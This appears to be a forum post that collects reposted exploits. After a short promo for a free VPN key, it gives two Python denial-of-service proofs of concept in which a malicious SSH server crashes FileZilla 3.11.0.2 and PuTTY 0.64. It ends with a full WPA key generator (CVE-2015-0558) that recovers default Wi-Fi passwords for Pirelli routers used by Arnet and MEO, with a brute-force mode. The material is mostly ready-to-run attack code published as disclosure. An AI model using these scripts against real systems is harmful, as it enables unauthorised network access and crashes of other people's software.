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How to get the key First you need to go to the giveaway page Than you enter your email After you enter your email click on send button Than you need to go to your email Find the email that Okayfreedom send to you Get the code and enter it at your okayfreedom software And that’s all you have free 1 year premium https://www.okayfreedom.com/specials/pcadvisor0615/of

# Exploit title: filezilla 3.11.0.2 sftp module denial of service vulnerability # Date: 5-6-2015 # Vendor homepage: http://www.chiark.greenend.org.uk # Software Link: http://dl.filehorse.com/win/file-transfer-and-networking/filezilla/FileZilla-3.11.0.2.exe?st=6b87ZegIN1LDhSGAw5M4wg&e=1434351489&fn=FileZilla_3.11.0.2_win32-setup.exe # Version: 3.11.0.2 # Author: 3unnym00n # Details: # -------- # sftp module for filezilla based on putty's psftp component. # when doing the ssh dh group exchange old style, if the server send a malformed dh group exchange reply, can lead the filezilla component crash # Tested On: win7, xp # operating steps: run the py, then execute : "D:\programfile\FileZilla FTP Client\filezilla.exe" sftp://root@127.0.0.1 ''' import socket import struct soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.bind(('127.0.0.1', 22)) soc.listen(1) client, addr = soc.accept() ## do banner exchange ## send server banner client.send('SSH-2.0-SUCK\r\n') ## recv client banner client_banner = '' while True: data = client.recv(1) if data == '\x0a': break client_banner += data print 'the client banner is: %s'%client_banner.__repr__() ## do key exchange ## recv client algorithms str_pl = client.recv(4) pl = struct.unpack('>I', str_pl)[0] client.recv(pl) ## send server algorithms client.send('000001b4091464f9a91726b1efcfa98bed8e93bbd93d000000596469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d736861312c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f7570312d73686131000000077373682d727361000000576165733132382d6374722c6165733235362d6374722c6165733132382d6362632c626c6f77666973682d6362632c6165733235362d6362632c336465732d6362632c617263666f75723132382c617263666f7572323536000000576165733132382d6374722c6165733235362d6374722c6165733132382d6362632c626c6f77666973682d6362632c6165733235362d6362632c336465732d6362632c617263666f75723132382c617263666f75723235360000002b686d61632d736861312c686d61632d6d64352c686d61632d736861312d39362c686d61632d6d64352d39360000002b686d61632d736861312c686d61632d6d64352c686d61632d736861312d39362c686d61632d6d64352d3936000000046e6f6e65000000046e6f6e6500000000000000000000000000000000000000000000'.decode('hex')) ## do dh key exchange ## recv dh group exchange request str_pl = client.recv(4) pl = struct.unpack('>I', str_pl)[0] client.recv(pl) ## send dh group exchange group client.send('00000114081f0000010100c038282de061be1ad34f31325efe9b1d8520db14276ceb61fe3a2cb8d77ffe3b9a067505205bba8353847fd2ea1e2471e4294862a5d4c4f9a2b80f9da0619327cdbf2eb608b0b5549294a955972aa3512821b24782dd8ab97b53aab04b48180394abfbc4dcf9b819fc0cb5ac1275ac5f16ec378163501e4b27d49c67f660333888f1d503b96fa9c6c880543d8b5f04d70fe508ffca161798ad32015145b8e9ad43aab48ada81fd1e5a8ea7711a8ff57ec7c4c081b47fab0c2e9fa468e70dd6700f3412224890d5e99527a596ce635195f3a6d35e563bf4892df2c79c809704411018d919102d12cb112ce1e66ebf5db9f409f6c82a6a6e1e21e23532cf24a6e300000001020000000000000000'.decode('hex')) ## recv dh group exchange init str_pl = client.recv(4) pl = struct.unpack('>I', str_pl)[0] client.recv(pl) ## send dh group exchange reply dh_gex_reply_msg = '\x00\x00\x02\x3c' ## pl dh_gex_reply_msg += '\x09' ## padding len dh_gex_reply_msg += '\x21' ## dh gex reply dh_gex_reply_msg += '\x00\x00\xff\xff' ## dh host key len dh_gex_reply_msg += 'A'*600 client.sendall(dh_gex_reply_msg) Source: https://dl.packetstormsecurity.net/1506-exploits/filezilla-dos.txt

''' # Exploit title: putty v0.64 denial of service vulnerability # Date: 5-6-2015 # Vendor homepage: http://www.chiark.greenend.org.uk # Software Link: http://the.earth.li/~sgtatham/putty/latest/x86/putty-0.64-installer.exe # Version: 0.64 # Author: 3unnym00n # Details: # -------- # when doing the ssh dh group exchange old style, if the server send a malformed dh group exchange reply, can lead the putty crash # Tested On: win7, xp # operating steps: run the py, then execute : "D:\programfile\PuTTYlatest\putty.exe" -ssh root@127.0.0.1 ''' import socket import struct soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.bind(('127.0.0.1', 22)) soc.listen(1) client, addr = soc.accept() ## do banner exchange ## send server banner client.send('SSH-2.0-paramiko_1.16.0\r\n') ## recv client banner client_banner = '' while True: data = client.recv(1) if data == '\x0a': break client_banner += data print 'the client banner is: %s'%client_banner.__repr__() ## do key exchange ## recv client algorithms str_pl = client.recv(4) pl = struct.unpack('>I', str_pl)[0] client.recv(pl) ## send server algorithms client.send('000001b4091464f9a91726b1efcfa98bed8e93bbd93d000000596469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d736861312c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f7570312d73686131000000077373682d727361000000576165733132382d6374722c6165733235362d6374722c6165733132382d6362632c626c6f77666973682d6362632c6165733235362d6362632c336465732d6362632c617263666f75723132382c617263666f7572323536000000576165733132382d6374722c6165733235362d6374722c6165733132382d6362632c626c6f77666973682d6362632c6165733235362d6362632c336465732d6362632c617263666f75723132382c617263666f75723235360000002b686d61632d736861312c686d61632d6d64352c686d61632d736861312d39362c686d61632d6d64352d39360000002b686d61632d736861312c686d61632d6d64352c686d61632d736861312d39362c686d61632d6d64352d3936000000046e6f6e65000000046e6f6e6500000000000000000000000000000000000000000000'.decode('hex')) ## do dh key exchange ## recv dh group exchange request str_pl = client.recv(4) pl = struct.unpack('>I', str_pl)[0] client.recv(pl) ## send dh group exchange group client.send('00000114081f0000010100c038282de061be1ad34f31325efe9b1d8520db14276ceb61fe3a2cb8d77ffe3b9a067505205bba8353847fd2ea1e2471e4294862a5d4c4f9a2b80f9da0619327cdbf2eb608b0b5549294a955972aa3512821b24782dd8ab97b53aab04b48180394abfbc4dcf9b819fc0cb5ac1275ac5f16ec378163501e4b27d49c67f660333888f1d503b96fa9c6c880543d8b5f04d70fe508ffca161798ad32015145b8e9ad43aab48ada81fd1e5a8ea7711a8ff57ec7c4c081b47fab0c2e9fa468e70dd6700f3412224890d5e99527a596ce635195f3a6d35e563bf4892df2c79c809704411018d919102d12cb112ce1e66ebf5db9f409f6c82a6a6e1e21e23532cf24a6e300000001020000000000000000'.decode('hex')) ## recv dh group exchange init str_pl = client.recv(4) pl = struct.unpack('>I', str_pl)[0] client.recv(pl) ## send dh group exchange reply dh_gex_reply_msg = '\x00\x00\x02\x3c' ## pl dh_gex_reply_msg += '\x09' ## padding len dh_gex_reply_msg += '\x21' ## dh gex reply dh_gex_reply_msg += '\x00\x00\xff\xff' ## dh host key len dh_gex_reply_msg += 'A'*600 client.sendall(dh_gex_reply_msg) [ur=https://www.exploit-db.com/exploits/37291/]Source

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#!/usr/bin/env python # -*- coding: utf-8 -*- ''' @license: GPLv3 @author : Eduardo Novella @ARNetOnline via Twitter @enovella_ 2014-09-15 Send a message via website, still looking for a simple mail ([url]http://www.telecom.com.ar/hogares/contacto_tecnico.html[/url]) 2014-09-16 Send another message to Arnet via website. First reply via twitter where they redirect me to the website form. 2014-09-19 Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key 2014-09-20 More twitter PM about the same. They do not want to be aware about the problem though. 2014-09-23 I assume that Arnet does not care about its clients' security at all regarding its little interest. 2014-09-24 I send the problem to the vendor ADB Pirelli via website form 2014-09-28 I send the problem to the vendor ADB Pirelli via email to Switzerland 2015-01-05 Full disclosure and CVE-2015-0558 assigned PORTUGAL ================ 2015-04-01 I receive an email confirming that the Portuguese ISP "MEO" uses the same algorithm 2015-04-05 Send a message to @MEOpt via Twitter @enovella_ 2015-04-05 I got response in matter of minutes \o/ 2015-04-05 I send an email to [email]luis-oliveira-cc@telecom.pt[/email] , stating the reference 3-78405621289 in email subject 2015-05-07 Full disclosure ----------------- [*] Changelog : ----------------- 2015-05-06 v1.4 Added MEO routers in Portugal. Essid ADSLPT-ABXXXXX 2015-02-01 v1.3 Final version, hopefully 2015-01-12 v1.2 Confusion between LAN and WLAN mac address 2015-01-10 v1.1 --allKeys flag added 2014-09-11 v1.0 First PoC working ''' import re import sys import hashlib import argparse VERSION = 1 SUBVERSION = 4 DATEVERSION = '2015-05-06' URL = 'http://www.ednolo.alumnos.upv.es' def genkey(mac,stdout='True'): seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' + '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8') lookup = '0123456789abcdefghijklmnopqrstuvwxyz' sha256 = hashlib.sha256() sha256.update(seed) sha256.update('1236790') sha256.update(mac) digest = bytearray(sha256.digest()) if (stdout): print "[+] SHA256 : %s" % sha256.hexdigest() return ''.join([lookup[x % len(lookup)] for x in digest[0:10]]) def printTargets(): print "[+] Possible vulnerable targets so far:" for t in targets: print ("\t bssid: {0:s}:XX:XX:XX \t essid: WiFi-Arnet-XXXX, ADSLPT-ABXXXXX".format(t.upper())) sys.exit() def checkTargets(bssid): supported = False for t in targets: if ( bssid.upper().startswith(t) ): supported = True break if (not supported): print "[!] Your bssid looks like not supported! Generating anyway." def addIncToMac(mac_str, inc): try: mac = bytearray.fromhex('%012x' %(int(mac_str,16) + inc)) except: sys.exit('[!] Use real input ') return mac def main(): global targets version = " {0:d}.{1:d} [{2:s}] ----> {3:s}".format(VERSION,SUBVERSION,DATEVERSION,URL) targets = ['00:08:27','00:13:C8','00:17:C2','00:19:3E','00:1C:A2','00:1D:8B','00:22:33','00:8C:54', '30:39:F2','74:88:8B','84:26:15','A4:52:6F','A4:5D:A1','D0:D4:12','D4:D1:84','DC:0B:1A','F0:84:2F'] parser = argparse.ArgumentParser(description='''>>> PoC WPA keygen for WiFi Networks deployed by Arnet in Argentina and MEO in Portugal. So far only WiFi networks with essids like WiFi-Arnet-XXXX or ADSLPT-ABXXXXX and manufactured by Pirelli are likely vulnerable. See [url]http://ednolo.alumnos.upv.es/[/url] for more details. Twitter: @enovella_ and email: ednolo[at]inf.upv.es. This software is used just as proof-of-concept, commit fraud depends on you! ''', epilog='''(+) Help: python %s -b 74:88:8B:AD:C0:DE ''' %(sys.argv[0]) ) maingroup = parser.add_argument_group(title='required') maingroup.add_argument('-b','--bssid', type=str, nargs='?', help='Target mac address') parser.add_argument('-v', '--version', action='version', version='%(prog)s'+version) command_group = parser.add_mutually_exclusive_group() command_group.add_argument('-l','--list', help='List all vulnerable targets', action='store_true') command_group.add_argument('-a','--allkeys', help='Bruteforce mode', action="store_true") args = parser.parse_args() if args.list: printTargets() elif args.bssid: mac_str = re.sub(r'[^a-fA-F0-9]', '', args.bssid) if len(mac_str) != 12: sys.exit('[!] Check MAC format!\n') try: checkTargets(args.bssid) print '[+] MAC : %s' % args.bssid if (args.allkeys): print '\n[+] WPA keys for SSID: WiFi-Arnet-XXXX (Argentina)' for i in xrange(-2,5): mac = addIncToMac(mac_str,i) print '%-10s' % ((genkey(mac, False))) print '\n[+] WPA keys for SSID: ADSLPT-ABXXXXX (Portugal)' for i in xrange(-2,5): mac = addIncToMac(mac_str,i) print '%-10s' % ((genkey(mac, False)[:8])) else: wpa = genkey((addIncToMac(mac_str,0)), False) print '[+] WPA key : %-10s\t%-10s' % (wpa, "SSID: WiFi-Arnet-XXXX (Argentina)") print '[+] WPA key : %-10s\t%-10s' % (wpa[:8], "SSID: ADSLPT-ABXXXXX (Portugal)" ) except: sys.exit('[!] Are you trying to crash me? ') else: parser.print_help() if __name__ == "__main__": main() Source